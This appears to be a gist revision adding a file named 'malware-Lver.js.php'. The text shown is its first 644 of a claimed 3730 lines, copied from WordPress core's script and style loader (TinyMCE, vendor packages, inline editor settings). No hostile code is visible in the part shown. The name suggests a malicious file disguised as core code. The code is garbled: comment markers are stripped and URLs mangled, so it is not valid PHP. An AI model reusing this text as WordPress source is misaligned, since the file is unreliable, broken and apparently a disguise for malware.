Malin revidoval tento gist . Přejít na revizi
1 file changed, 3730 insertions
malware-Lver.js.php(vytvořil soubor)
| @@ -0,0 +1,3730 @@ | |||
| 1 | + | <?php /* | |
| 2 | + | * | |
| 3 | + | * WordPress scripts and styles default loader. | |
| 4 | + | * | |
| 5 | + | * Several constants are used to manage the loading, concatenating and compression of scripts and CSS: | |
| 6 | + | * define('SCRIPT_DEBUG', true); loads the development (non-minified) versions of all scripts and CSS, and disables compression and concatenation, | |
| 7 | + | * define('CONCATENATE_SCRIPTS', false); disables compression and concatenation of scripts and CSS, | |
| 8 | + | * define('COMPRESS_SCRIPTS', false); disables compression of scripts, | |
| 9 | + | * define('COMPRESS_CSS', false); disables compression of CSS, | |
| 10 | + | * define('ENFORCE_GZIP', true); forces gzip for compression (default is deflate). | |
| 11 | + | * | |
| 12 | + | * The globals $concatenate_scripts, $compress_scripts and $compress_css can be set by plugins | |
| 13 | + | * to temporarily override the above settings. Also a compression test is run once and the result is saved | |
| 14 | + | * as option 'can_compress_scripts' (0/1). The test will run again if that option is deleted. | |
| 15 | + | * | |
| 16 | + | * @package WordPress | |
| 17 | + | ||
| 18 | + | ||
| 19 | + | * WordPress Dependency Class | |
| 20 | + | require ABSPATH . WPINC . '/class-wp-dependency.php'; | |
| 21 | + | ||
| 22 | + | * WordPress Dependencies Class | |
| 23 | + | require ABSPATH . WPINC . '/class-wp-dependencies.php'; | |
| 24 | + | ||
| 25 | + | * WordPress Scripts Class | |
| 26 | + | require ABSPATH . WPINC . '/class-wp-scripts.php'; | |
| 27 | + | ||
| 28 | + | * WordPress Scripts Functions | |
| 29 | + | require ABSPATH . WPINC . '/functions.wp-scripts.php'; | |
| 30 | + | ||
| 31 | + | * WordPress Styles Class | |
| 32 | + | require ABSPATH . WPINC . '/class-wp-styles.php'; | |
| 33 | + | ||
| 34 | + | * WordPress Styles Functions | |
| 35 | + | require ABSPATH . WPINC . '/functions.wp-styles.php'; | |
| 36 | + | ||
| 37 | + | * | |
| 38 | + | * Registers TinyMCE scripts. | |
| 39 | + | * | |
| 40 | + | * @since 5.0.0 | |
| 41 | + | * | |
| 42 | + | * @global string $tinymce_version | |
| 43 | + | * @global bool $concatenate_scripts | |
| 44 | + | * @global bool $compress_scripts | |
| 45 | + | * | |
| 46 | + | * @param WP_Scripts $scripts WP_Scripts object. | |
| 47 | + | * @param bool $force_uncompressed Whether to forcibly prevent gzip compression. Default false. | |
| 48 | + | ||
| 49 | + | function wp_register_tinymce_scripts( $scripts, $force_uncompressed = false ) { | |
| 50 | + | global $tinymce_version, $concatenate_scripts, $compress_scripts; | |
| 51 | + | ||
| 52 | + | $suffix = wp_scripts_get_suffix(); | |
| 53 | + | $dev_suffix = wp_scripts_get_suffix( 'dev' ); | |
| 54 | + | ||
| 55 | + | script_concat_settings(); | |
| 56 | + | ||
| 57 | + | $compressed = $compress_scripts && $concatenate_scripts && isset( $_SERVER['HTTP_ACCEPT_ENCODING'] ) | |
| 58 | + | && false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip' ) && ! $force_uncompressed; | |
| 59 | + | ||
| 60 | + | Load tinymce.js when running from /src, otherwise load wp-tinymce.js.gz (in production) | |
| 61 | + | or tinymce.min.js (when SCRIPT_DEBUG is true). | |
| 62 | + | if ( $compressed ) { | |
| 63 | + | $scripts->add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . 'wp-tinymce.js', array(), $tinymce_version ); | |
| 64 | + | } else { | |
| 65 | + | $scripts->add( 'wp-tinymce-root', includes_url( 'js/tinymce/' ) . "tinymce$dev_suffix.js", array(), $tinymce_version ); | |
| 66 | + | $scripts->add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . "plugins/compat3x/plugin$dev_suffix.js", array( 'wp-tinymce-root' ), $tinymce_version ); | |
| 67 | + | } | |
| 68 | + | ||
| 69 | + | $scripts->add( 'wp-tinymce-lists', includes_url( "js/tinymce/plugins/lists/plugin$suffix.js" ), array( 'wp-tinymce' ), $tinymce_version ); | |
| 70 | + | } | |
| 71 | + | ||
| 72 | + | * | |
| 73 | + | * Registers all the WordPress vendor scripts that are in the standardized | |
| 74 | + | * `js/dist/vendor/` location. | |
| 75 | + | * | |
| 76 | + | * For the order of `$scripts->add` see `wp_default_scripts`. | |
| 77 | + | * | |
| 78 | + | * @since 5.0.0 | |
| 79 | + | * | |
| 80 | + | * @global WP_Locale $wp_locale WordPress date and time locale object. | |
| 81 | + | * | |
| 82 | + | * @param WP_Scripts $scripts WP_Scripts object. | |
| 83 | + | ||
| 84 | + | function wp_default_packages_vendor( $scripts ) { | |
| 85 | + | global $wp_locale; | |
| 86 | + | ||
| 87 | + | $suffix = wp_scripts_get_suffix(); | |
| 88 | + | ||
| 89 | + | $vendor_scripts = array( | |
| 90 | + | 'react' => array( 'wp-polyfill' ), | |
| 91 | + | 'react-dom' => array( 'react' ), | |
| 92 | + | 'regenerator-runtime', | |
| 93 | + | 'moment', | |
| 94 | + | 'lodash', | |
| 95 | + | 'wp-polyfill-fetch', | |
| 96 | + | 'wp-polyfill-formdata', | |
| 97 | + | 'wp-polyfill-node-contains', | |
| 98 | + | 'wp-polyfill-url', | |
| 99 | + | 'wp-polyfill-dom-rect', | |
| 100 | + | 'wp-polyfill-element-closest', | |
| 101 | + | 'wp-polyfill-object-fit', | |
| 102 | + | 'wp-polyfill' => array( 'regenerator-runtime' ), | |
| 103 | + | ); | |
| 104 | + | ||
| 105 | + | $vendor_scripts_versions = array( | |
| 106 | + | 'react' => '17.0.1', | |
| 107 | + | 'react-dom' => '17.0.1', | |
| 108 | + | 'regenerator-runtime' => '0.13.9', | |
| 109 | + | 'moment' => '2.29.4', | |
| 110 | + | 'lodash' => '4.17.19', | |
| 111 | + | 'wp-polyfill-fetch' => '3.6.2', | |
| 112 | + | 'wp-polyfill-formdata' => '4.0.10', | |
| 113 | + | 'wp-polyfill-node-contains' => '4.4.0', | |
| 114 | + | 'wp-polyfill-url' => '3.6.4', | |
| 115 | + | 'wp-polyfill-dom-rect' => '4.4.0', | |
| 116 | + | 'wp-polyfill-element-closest' => '2.0.2', | |
| 117 | + | 'wp-polyfill-object-fit' => '2.3.5', | |
| 118 | + | 'wp-polyfill' => '3.15.0', | |
| 119 | + | ); | |
| 120 | + | ||
| 121 | + | foreach ( $vendor_scripts as $handle => $dependencies ) { | |
| 122 | + | if ( is_string( $dependencies ) ) { | |
| 123 | + | $handle = $dependencies; | |
| 124 | + | $dependencies = array(); | |
| 125 | + | } | |
| 126 | + | ||
| 127 | + | $path = "/wp-includes/js/dist/vendor/$handle$suffix.js"; | |
| 128 | + | $version = $vendor_scripts_versions[ $handle ]; | |
| 129 | + | ||
| 130 | + | $scripts->add( $handle, $path, $dependencies, $version, 1 ); | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | did_action( 'init' ) && $scripts->add_inline_script( 'lodash', 'window.lodash = _.noConflict();' ); | |
| 134 | + | ||
| 135 | + | did_action( 'init' ) && $scripts->add_inline_script( | |
| 136 | + | 'moment', | |
| 137 | + | sprintf( | |
| 138 | + | "moment.updateLocale( '%s', %s );", | |
| 139 | + | get_user_locale(), | |
| 140 | + | wp_json_encode( | |
| 141 | + | array( | |
| 142 | + | 'months' => array_values( $wp_locale->month ), | |
| 143 | + | 'monthsShort' => array_values( $wp_locale->month_abbrev ), | |
| 144 | + | 'weekdays' => array_values( $wp_locale->weekday ), | |
| 145 | + | 'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ), | |
| 146 | + | 'week' => array( | |
| 147 | + | 'dow' => (int) get_option( 'start_of_week', 0 ), | |
| 148 | + | ), | |
| 149 | + | 'longDateFormat' => array( | |
| 150 | + | 'LT' => get_option( 'time_format', __( 'g:i a' ) ), | |
| 151 | + | 'LTS' => null, | |
| 152 | + | 'L' => null, | |
| 153 | + | 'LL' => get_option( 'date_format', __( 'F j, Y' ) ), | |
| 154 | + | 'LLL' => __( 'F j, Y g:i a' ), | |
| 155 | + | 'LLLL' => null, | |
| 156 | + | ), | |
| 157 | + | ) | |
| 158 | + | ) | |
| 159 | + | ), | |
| 160 | + | 'after' | |
| 161 | + | ); | |
| 162 | + | } | |
| 163 | + | ||
| 164 | + | * | |
| 165 | + | * Returns contents of an inline script used in appending polyfill scripts for | |
| 166 | + | * browsers which fail the provided tests. The provided array is a mapping from | |
| 167 | + | * a condition to verify feature support to its polyfill script handle. | |
| 168 | + | * | |
| 169 | + | * @since 5.0.0 | |
| 170 | + | * | |
| 171 | + | * @param WP_Scripts $scripts WP_Scripts object. | |
| 172 | + | * @param string[] $tests Features to detect. | |
| 173 | + | * @return string Conditional polyfill inline script. | |
| 174 | + | ||
| 175 | + | function wp_get_script_polyfill( $scripts, $tests ) { | |
| 176 | + | $polyfill = ''; | |
| 177 | + | foreach ( $tests as $test => $handle ) { | |
| 178 | + | if ( ! array_key_exists( $handle, $scripts->registered ) ) { | |
| 179 | + | continue; | |
| 180 | + | } | |
| 181 | + | ||
| 182 | + | $src = $scripts->registered[ $handle ]->src; | |
| 183 | + | $ver = $scripts->registered[ $handle ]->ver; | |
| 184 | + | ||
| 185 | + | if ( ! preg_match( '|^(https?:)?|', $src ) && ! ( $scripts->content_url && 0 === strpos( $src, $scripts->content_url ) ) ) { | |
| 186 | + | $src = $scripts->base_url . $src; | |
| 187 | + | } | |
| 188 | + | ||
| 189 | + | if ( ! empty( $ver ) ) { | |
| 190 | + | $src = add_query_arg( 'ver', $ver, $src ); | |
| 191 | + | } | |
| 192 | + | ||
| 193 | + | * This filter is documented in wp-includes/class-wp-scripts.php | |
| 194 | + | $src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) ); | |
| 195 | + | ||
| 196 | + | if ( ! $src ) { | |
| 197 | + | continue; | |
| 198 | + | } | |
| 199 | + | ||
| 200 | + | $polyfill .= ( | |
| 201 | + | Test presence of feature... | |
| 202 | + | '( ' . $test . ' ) || ' . | |
| 203 | + | ||
| 204 | + | * ...appending polyfill on any failures. Cautious viewers may balk | |
| 205 | + | * at the `document.write`. Its caveat of synchronous mid-stream | |
| 206 | + | * blocking write is exactly the behavior we need though. | |
| 207 | + | ||
| 208 | + | 'document.write( \'<script src="' . | |
| 209 | + | $src . | |
| 210 | + | '"></scr\' + \'ipt>\' );' | |
| 211 | + | ); | |
| 212 | + | } | |
| 213 | + | ||
| 214 | + | return $polyfill; | |
| 215 | + | } | |
| 216 | + | ||
| 217 | + | * | |
| 218 | + | * Registers development scripts that integrate with `@wordpress/scripts`. | |
| 219 | + | * | |
| 220 | + | * @see https:github.com/WordPress/gutenberg/tree/trunk/packages/scripts#start | |
| 221 | + | * | |
| 222 | + | * @since 6.0.0 | |
| 223 | + | * | |
| 224 | + | * @param WP_Scripts $scripts WP_Scripts object. | |
| 225 | + | ||
| 226 | + | function wp_register_development_scripts( $scripts ) { | |
| 227 | + | if ( | |
| 228 | + | ! defined( 'SCRIPT_DEBUG' ) || ! SCRIPT_DEBUG | |
| 229 | + | || empty( $scripts->registered['react'] ) | |
| 230 | + | || defined( 'WP_RUN_CORE_TESTS' ) | |
| 231 | + | ) { | |
| 232 | + | return; | |
| 233 | + | } | |
| 234 | + | ||
| 235 | + | $development_scripts = array( | |
| 236 | + | 'react-refresh-entry', | |
| 237 | + | 'react-refresh-runtime', | |
| 238 | + | ); | |
| 239 | + | ||
| 240 | + | foreach ( $development_scripts as $script_name ) { | |
| 241 | + | $assets = include ABSPATH . WPINC . '/assets/script-loader-' . $script_name . '.php'; | |
| 242 | + | if ( ! is_array( $assets ) ) { | |
| 243 | + | return; | |
| 244 | + | } | |
| 245 | + | $scripts->add( | |
| 246 | + | 'wp-' . $script_name, | |
| 247 | + | '/wp-includes/js/dist/development/' . $script_name . '.js', | |
| 248 | + | $assets['dependencies'], | |
| 249 | + | $assets['version'] | |
| 250 | + | ); | |
| 251 | + | } | |
| 252 | + | ||
| 253 | + | See https:github.com/pmmmwh/react-refresh-webpack-plugin/blob/main/docs/TROUBLESHOOTING.md#externalising-react. | |
| 254 | + | $scripts->registered['react']->deps[] = 'wp-react-refresh-entry'; | |
| 255 | + | } | |
| 256 | + | ||
| 257 | + | * | |
| 258 | + | * Registers all the WordPress packages scripts that are in the standardized | |
| 259 | + | * `js/dist/` location. | |
| 260 | + | * | |
| 261 | + | * For the order of `$scripts->add` see `wp_default_scripts`. | |
| 262 | + | * | |
| 263 | + | * @since 5.0.0 | |
| 264 | + | * | |
| 265 | + | * @param WP_Scripts $scripts WP_Scripts object. | |
| 266 | + | ||
| 267 | + | function wp_default_packages_scripts( $scripts ) { | |
| 268 | + | $suffix = defined( 'WP_RUN_CORE_TESTS' ) ? '.min' : wp_scripts_get_suffix(); | |
| 269 | + | ||
| 270 | + | * Expects multidimensional array like: | |
| 271 | + | * | |
| 272 | + | * 'a11y.js' => array('dependencies' => array(...), 'version' => '...'), | |
| 273 | + | * 'annotations.js' => array('dependencies' => array(...), 'version' => '...'), | |
| 274 | + | * 'api-fetch.js' => array(... | |
| 275 | + | ||
| 276 | + | $assets = include ABSPATH . WPINC . "/assets/script-loader-packages{$suffix}.php"; | |
| 277 | + | ||
| 278 | + | foreach ( $assets as $file_name => $package_data ) { | |
| 279 | + | $basename = str_replace( $suffix . '.js', '', basename( $file_name ) ); | |
| 280 | + | $handle = 'wp-' . $basename; | |
| 281 | + | $path = "/wp-includes/js/dist/{$basename}{$suffix}.js"; | |
| 282 | + | ||
| 283 | + | if ( ! empty( $package_data['dependencies'] ) ) { | |
| 284 | + | $dependencies = $package_data['dependencies']; | |
| 285 | + | } else { | |
| 286 | + | $dependencies = array(); | |
| 287 | + | } | |
| 288 | + | ||
| 289 | + | Add dependencies that cannot be detected and generated by build tools. | |
| 290 | + | switch ( $handle ) { | |
| 291 | + | case 'wp-block-library': | |
| 292 | + | array_push( $dependencies, 'editor' ); | |
| 293 | + | break; | |
| 294 | + | case 'wp-edit-post': | |
| 295 | + | array_push( $dependencies, 'media-models', 'media-views', 'postbox', 'wp-dom-ready' ); | |
| 296 | + | break; | |
| 297 | + | case 'wp-preferences': | |
| 298 | + | array_push( $dependencies, 'wp-preferences-persistence' ); | |
| 299 | + | break; | |
| 300 | + | } | |
| 301 | + | ||
| 302 | + | $scripts->add( $handle, $path, $dependencies, $package_data['version'], 1 ); | |
| 303 | + | ||
| 304 | + | if ( in_array( 'wp-i18n', $dependencies, true ) ) { | |
| 305 | + | $scripts->set_translations( $handle ); | |
| 306 | + | } | |
| 307 | + | ||
| 308 | + | ||
| 309 | + | * Manually set the text direction localization after wp-i18n is printed. | |
| 310 | + | * This ensures that wp.i18n.isRTL() returns true in RTL languages. | |
| 311 | + | * We cannot use $scripts->set_translations( 'wp-i18n' ) to do this | |
| 312 | + | * because WordPress prints a script's translations *before* the script, | |
| 313 | + | * which means, in the case of wp-i18n, that wp.i18n.setLocaleData() | |
| 314 | + | * is called before wp.i18n is defined. | |
| 315 | + | ||
| 316 | + | if ( 'wp-i18n' === $handle ) { | |
| 317 | + | $ltr = _x( 'ltr', 'text direction' ); | |
| 318 | + | $script = sprintf( "wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ '%s' ] } );", $ltr ); | |
| 319 | + | $scripts->add_inline_script( $handle, $script, 'after' ); | |
| 320 | + | } | |
| 321 | + | } | |
| 322 | + | } | |
| 323 | + | ||
| 324 | + | * | |
| 325 | + | * Adds inline scripts required for the WordPress JavaScript packages. | |
| 326 | + | * | |
| 327 | + | * @since 5.0.0 | |
| 328 | + | * | |
| 329 | + | * @global WP_Locale $wp_locale WordPress date and time locale object. | |
| 330 | + | * @global wpdb $wpdb WordPress database abstraction object. | |
| 331 | + | * | |
| 332 | + | * @param WP_Scripts $scripts WP_Scripts object. | |
| 333 | + | ||
| 334 | + | function wp_default_packages_inline_scripts( $scripts ) { | |
| 335 | + | global $wp_locale, $wpdb; | |
| 336 | + | ||
| 337 | + | if ( isset( $scripts->registered['wp-api-fetch'] ) ) { | |
| 338 | + | $scripts->registered['wp-api-fetch']->deps[] = 'wp-hooks'; | |
| 339 | + | } | |
| 340 | + | $scripts->add_inline_script( | |
| 341 | + | 'wp-api-fetch', | |
| 342 | + | sprintf( | |
| 343 | + | 'wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "%s" ) );', | |
| 344 | + | sanitize_url( get_rest_url() ) | |
| 345 | + | ), | |
| 346 | + | 'after' | |
| 347 | + | ); | |
| 348 | + | $scripts->add_inline_script( | |
| 349 | + | 'wp-api-fetch', | |
| 350 | + | implode( | |
| 351 | + | "\n", | |
| 352 | + | array( | |
| 353 | + | sprintf( | |
| 354 | + | 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "%s" );', | |
| 355 | + | wp_installing() ? '' : wp_create_nonce( 'wp_rest' ) | |
| 356 | + | ), | |
| 357 | + | 'wp.apiFetch.use( wp.apiFetch.nonceMiddleware );', | |
| 358 | + | 'wp.apiFetch.use( wp.apiFetch.mediaUploadMiddleware );', | |
| 359 | + | sprintf( | |
| 360 | + | 'wp.apiFetch.nonceEndpoint = "%s";', | |
| 361 | + | admin_url( 'admin-ajax.php?action=rest-nonce' ) | |
| 362 | + | ), | |
| 363 | + | ) | |
| 364 | + | ), | |
| 365 | + | 'after' | |
| 366 | + | ); | |
| 367 | + | ||
| 368 | + | $meta_key = $wpdb->get_blog_prefix() . 'persisted_preferences'; | |
| 369 | + | $user_id = get_current_user_id(); | |
| 370 | + | $preload_data = get_user_meta( $user_id, $meta_key, true ); | |
| 371 | + | $scripts->add_inline_script( | |
| 372 | + | 'wp-preferences', | |
| 373 | + | sprintf( | |
| 374 | + | '( function() { | |
| 375 | + | var serverData = %s; | |
| 376 | + | var userId = "%d"; | |
| 377 | + | var persistenceLayer = wp.preferencesPersistence.__unstableCreatePersistenceLayer( serverData, userId ); | |
| 378 | + | var preferencesStore = wp.preferences.store; | |
| 379 | + | wp.data.dispatch( preferencesStore ).setPersistenceLayer( persistenceLayer ); | |
| 380 | + | } ) ();', | |
| 381 | + | wp_json_encode( $preload_data ), | |
| 382 | + | $user_id | |
| 383 | + | ) | |
| 384 | + | ); | |
| 385 | + | ||
| 386 | + | Backwards compatibility - configure the old wp-data persistence system. | |
| 387 | + | $scripts->add_inline_script( | |
| 388 | + | 'wp-data', | |
| 389 | + | implode( | |
| 390 | + | "\n", | |
| 391 | + | array( | |
| 392 | + | '( function() {', | |
| 393 | + | ' var userId = ' . get_current_user_ID() . ';', | |
| 394 | + | ' var storageKey = "WP_DATA_USER_" + userId;', | |
| 395 | + | ' wp.data', | |
| 396 | + | ' .use( wp.data.plugins.persistence, { storageKey: storageKey } );', | |
| 397 | + | '} )();', | |
| 398 | + | ) | |
| 399 | + | ) | |
| 400 | + | ); | |
| 401 | + | ||
| 402 | + | Calculate the timezone abbr (EDT, PST) if possible. | |
| 403 | + | $timezone_string = get_option( 'timezone_string', 'UTC' ); | |
| 404 | + | $timezone_abbr = ''; | |
| 405 | + | ||
| 406 | + | if ( ! empty( $timezone_string ) ) { | |
| 407 | + | $timezone_date = new DateTime( 'now', new DateTimeZone( $timezone_string ) ); | |
| 408 | + | $timezone_abbr = $timezone_date->format( 'T' ); | |
| 409 | + | } | |
| 410 | + | ||
| 411 | + | $scripts->add_inline_script( | |
| 412 | + | 'wp-date', | |
| 413 | + | sprintf( | |
| 414 | + | 'wp.date.setSettings( %s );', | |
| 415 | + | wp_json_encode( | |
| 416 | + | array( | |
| 417 | + | 'l10n' => array( | |
| 418 | + | 'locale' => get_user_locale(), | |
| 419 | + | 'months' => array_values( $wp_locale->month ), | |
| 420 | + | 'monthsShort' => array_values( $wp_locale->month_abbrev ), | |
| 421 | + | 'weekdays' => array_values( $wp_locale->weekday ), | |
| 422 | + | 'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ), | |
| 423 | + | 'meridiem' => (object) $wp_locale->meridiem, | |
| 424 | + | 'relative' => array( | |
| 425 | + | translators: %s: Duration. | |
| 426 | + | 'future' => __( '%s from now' ), | |
| 427 | + | translators: %s: Duration. | |
| 428 | + | 'past' => __( '%s ago' ), | |
| 429 | + | ), | |
| 430 | + | 'startOfWeek' => (int) get_option( 'start_of_week', 0 ), | |
| 431 | + | ), | |
| 432 | + | 'formats' => array( | |
| 433 | + | translators: Time format, see https:www.php.net/manual/datetime.format.php | |
| 434 | + | 'time' => get_option( 'time_format', __( 'g:i a' ) ), | |
| 435 | + | translators: Date format, see https:www.php.net/manual/datetime.format.php | |
| 436 | + | 'date' => get_option( 'date_format', __( 'F j, Y' ) ), | |
| 437 | + | translators: Date/Time format, see https:www.php.net/manual/datetime.format.php | |
| 438 | + | 'datetime' => __( 'F j, Y g:i a' ), | |
| 439 | + | translators: Abbreviated date/time format, see https:www.php.net/manual/datetime.format.php | |
| 440 | + | 'datetimeAbbreviated' => __( 'M j, Y g:i a' ), | |
| 441 | + | ), | |
| 442 | + | 'timezone' => array( | |
| 443 | + | 'offset' => (float) get_option( 'gmt_offset', 0 ), | |
| 444 | + | 'string' => $timezone_string, | |
| 445 | + | 'abbr' => $timezone_abbr, | |
| 446 | + | ), | |
| 447 | + | ) | |
| 448 | + | ) | |
| 449 | + | ), | |
| 450 | + | 'after' | |
| 451 | + | ); | |
| 452 | + | ||
| 453 | + | Loading the old editor and its config to ensure the classic block works as expected. | |
| 454 | + | $scripts->add_inline_script( | |
| 455 | + | 'editor', | |
| 456 | + | 'window.wp.oldEditor = window.wp.editor;', | |
| 457 | + | 'after' | |
| 458 | + | ); | |
| 459 | + | ||
| 460 | + | ||
| 461 | + | * wp-editor module is exposed as window.wp.editor. | |
| 462 | + | * Problem: there is quite some code expecting window.wp.oldEditor object available under window.wp.editor. | |
| 463 | + | * Solution: fuse the two objects together to maintain backward compatibility. | |
| 464 | + | * For more context, see https:github.com/WordPress/gutenberg/issues/33203. | |
| 465 | + | ||
| 466 | + | $scripts->add_inline_script( | |
| 467 | + | 'wp-editor', | |
| 468 | + | 'Object.assign( window.wp.editor, window.wp.oldEditor );', | |
| 469 | + | 'after' | |
| 470 | + | ); | |
| 471 | + | } | |
| 472 | + | ||
| 473 | + | * | |
| 474 | + | * Adds inline scripts required for the TinyMCE in the block editor. | |
| 475 | + | * | |
| 476 | + | * These TinyMCE init settings are used to extend and override the default settings | |
| 477 | + | * from `_WP_Editors::default_settings()` for the Classic block. | |
| 478 | + | * | |
| 479 | + | * @since 5.0.0 | |
| 480 | + | * | |
| 481 | + | * @global WP_Scripts $wp_scripts | |
| 482 | + | ||
| 483 | + | function wp_tinymce_inline_scripts() { | |
| 484 | + | global $wp_scripts; | |
| 485 | + | ||
| 486 | + | * This filter is documented in wp-includes/class-wp-editor.php | |
| 487 | + | $editor_settings = apply_filters( 'wp_editor_settings', array( 'tinymce' => true ), 'classic-block' ); | |
| 488 | + | ||
| 489 | + | $tinymce_plugins = array( | |
| 490 | + | 'charmap', | |
| 491 | + | 'colorpicker', | |
| 492 | + | 'hr', | |
| 493 | + | 'lists', | |
| 494 | + | 'media', | |
| 495 | + | 'paste', | |
| 496 | + | 'tabfocus', | |
| 497 | + | 'textcolor', | |
| 498 | + | 'fullscreen', | |
| 499 | + | 'wordpress', | |
| 500 | + | 'wpautoresize', | |
| 501 | + | 'wpeditimage', | |
| 502 | + | 'wpemoji', | |
| 503 | + | 'wpgallery', | |
| 504 | + | 'wplink', | |
| 505 | + | 'wpdialogs', | |
| 506 | + | 'wptextpattern', | |
| 507 | + | 'wpview', | |
| 508 | + | ); | |
| 509 | + | ||
| 510 | + | * This filter is documented in wp-includes/class-wp-editor.php | |
| 511 | + | $tinymce_plugins = apply_filters( 'tiny_mce_plugins', $tinymce_plugins, 'classic-block' ); | |
| 512 | + | $tinymce_plugins = array_unique( $tinymce_plugins ); | |
| 513 | + | ||
| 514 | + | $disable_captions = false; | |
| 515 | + | Runs after `tiny_mce_plugins` but before `mce_buttons`. | |
| 516 | + | * This filter is documented in wp-admin/includes/media.php | |
| 517 | + | if ( apply_filters( 'disable_captions', '' ) ) { | |
| 518 | + | $disable_captions = true; | |
| 519 | + | } | |
| 520 | + | ||
| 521 | + | $toolbar1 = array( | |
| 522 | + | 'formatselect', | |
| 523 | + | 'bold', | |
| 524 | + | 'italic', | |
| 525 | + | 'bullist', | |
| 526 | + | 'numlist', | |
| 527 | + | 'blockquote', | |
| 528 | + | 'alignleft', | |
| 529 | + | 'aligncenter', | |
| 530 | + | 'alignright', | |
| 531 | + | 'link', | |
| 532 | + | 'unlink', | |
| 533 | + | 'wp_more', | |
| 534 | + | 'spellchecker', | |
| 535 | + | 'wp_add_media', | |
| 536 | + | 'wp_adv', | |
| 537 | + | ); | |
| 538 | + | ||
| 539 | + | * This filter is documented in wp-includes/class-wp-editor.php | |
| 540 | + | $toolbar1 = apply_filters( 'mce_buttons', $toolbar1, 'classic-block' ); | |
| 541 | + | ||
| 542 | + | $toolbar2 = array( | |
| 543 | + | 'strikethrough', | |
| 544 | + | 'hr', | |
| 545 | + | 'forecolor', | |
| 546 | + | 'pastetext', | |
| 547 | + | 'removeformat', | |
| 548 | + | 'charmap', | |
| 549 | + | 'outdent', | |
| 550 | + | 'indent', | |
| 551 | + | 'undo', | |
| 552 | + | 'redo', | |
| 553 | + | 'wp_help', | |
| 554 | + | ); | |
| 555 | + | ||
| 556 | + | * This filter is documented in wp-includes/class-wp-editor.php | |
| 557 | + | $toolbar2 = apply_filters( 'mce_buttons_2', $toolbar2, 'classic-block' ); | |
| 558 | + | * This filter is documented in wp-includes/class-wp-editor.php | |
| 559 | + | $toolbar3 = apply_filters( 'mce_buttons_3', array(), 'classic-block' ); | |
| 560 | + | * This filter is documented in wp-includes/class-wp-editor.php | |
| 561 | + | $toolbar4 = apply_filters( 'mce_buttons_4', array(), 'classic-block' ); | |
| 562 | + | * This filter is documented in wp-includes/class-wp-editor.php | |
| 563 | + | $external_plugins = apply_filters( 'mce_external_plugins', array(), 'classic-block' ); | |
| 564 | + | ||
| 565 | + | $tinymce_settings = array( | |
| 566 | + | 'plugins' => implode( ',', $tinymce_plugins ), | |
| 567 | + | 'toolbar1' => implode( ',', $toolbar1 ), | |
| 568 | + | 'toolbar2' => implode( ',', $toolbar2 ), | |
| 569 | + | 'toolbar3' => implode( ',', $toolbar3 ), | |
| 570 | + | 'toolbar4' => implode( ',', $toolbar4 ), | |
| 571 | + | 'external_plugins' => wp_json_encode( $external_plugins ), | |
| 572 | + | 'classic_block_editor' => true, | |
| 573 | + | ); | |
| 574 | + | ||
| 575 | + | if ( $disable_captions ) { | |
| 576 | + | $tinymce_settings['wpeditimage_disable_captions'] = true; | |
| 577 | + | } | |
| 578 | + | ||
| 579 | + | if ( ! empty( $editor_settings['tinymce'] ) && is_array( $editor_settings['tinymce'] ) ) { | |
| 580 | + | array_merge( $tinymce_settings, $editor_settings['tinymce'] ); | |
| 581 | + | } | |
| 582 | + | ||
| 583 | + | * This filter is documented in wp-includes/class-wp-editor.php | |
| 584 | + | $tinymce_settings = apply_filters( 'tiny_mce_before_init', $tinymce_settings, 'classic-block' ); | |
| 585 | + | ||
| 586 | + | Do "by hand" translation from PHP array to js object. | |
| 587 | + | Prevents breakage in some custom settings. | |
| 588 | + | $init_obj = ''; | |
| 589 | + | foreach ( $tinymce_settings as $key => $value ) { | |
| 590 | + | if ( is_bool( $value ) ) { | |
| 591 | + | $val = $value ? 'true' : 'false'; | |
| 592 | + | $init_obj .= $key . ':' . $val . ','; | |
| 593 | + | continue; | |
| 594 | + | } elseif ( ! empty( $value ) && is_string( $value ) && ( | |
| 595 | + | ( '{' === $value[0] && '}' === $value[ strlen( $value ) - 1 ] ) || | |
| 596 | + | ( '[' === $value[0] && ']' === $value[ strlen( $value ) - 1 ] ) || | |
| 597 | + | preg_match( '/^\(?function ?\(/', $value ) ) ) { | |
| 598 | + | $init_obj .= $key . ':' . $value . ','; | |
| 599 | + | continue; | |
| 600 | + | } | |
| 601 | + | $init_obj .= $key . ':"' . $value . '",'; | |
| 602 | + | } | |
| 603 | + | ||
| 604 | + | $init_obj = '{' . trim( $init_obj, ' ,' ) . '}'; | |
| 605 | + | ||
| 606 | + | $script = 'window.wpEditorL10n = { | |
| 607 | + | tinymce: { | |
| 608 | + | baseURL: ' . wp_json_encode( includes_url( 'js/tinymce' ) ) . ', | |
| 609 | + | suffix: ' . ( SCRIPT_DEBUG ? '""' : '".min"' ) . ', | |
| 610 | + | settings: ' . $init_obj . ', | |
| 611 | + | } | |
| 612 | + | }'; | |
| 613 | + | ||
| 614 | + | $wp_scripts->add_inline_script( 'wp-block-library', $script, 'before' ); | |
| 615 | + | } | |
| 616 | + | ||
| 617 | + | * | |
| 618 | + | * Registers all the WordPress packages scripts. | |
| 619 | + | * | |
| 620 | + | * @since 5.0.0 | |
| 621 | + | * | |
| 622 | + | * @param WP_Scripts $scripts WP_Scripts object. | |
| 623 | + | ||
| 624 | + | function wp_default_packages( $scripts ) { | |
| 625 | + | wp_default_packages_vendor( $scripts ); | |
| 626 | + | wp_register_development_scripts( $scripts ); | |
| 627 | + | wp_register_tinymce_scripts( $scripts ); | |
| 628 | + | wp_default_packages_scripts( $scripts ); | |
| 629 | + | ||
| 630 | + | if ( did_action( 'init' ) ) { | |
| 631 | + | wp_default_packages_inline_scripts( $scripts ); | |
| 632 | + | } | |
| 633 | + | } | |
| 634 | + | ||
| 635 | + | * | |
| 636 | + | * Returns the suffix that can be used for the scripts. | |
| 637 | + | * | |
| 638 | + | * There are two suffix types, the normal one and the dev suffix. | |
| 639 | + | * | |
| 640 | + | * @since 5.0.0 | |
| 641 | + | * | |
| 642 | + | * @param string $type The type of suffix to retrieve. | |
| 643 | + | * @return string The script suffix. | |
| 644 | + | ||
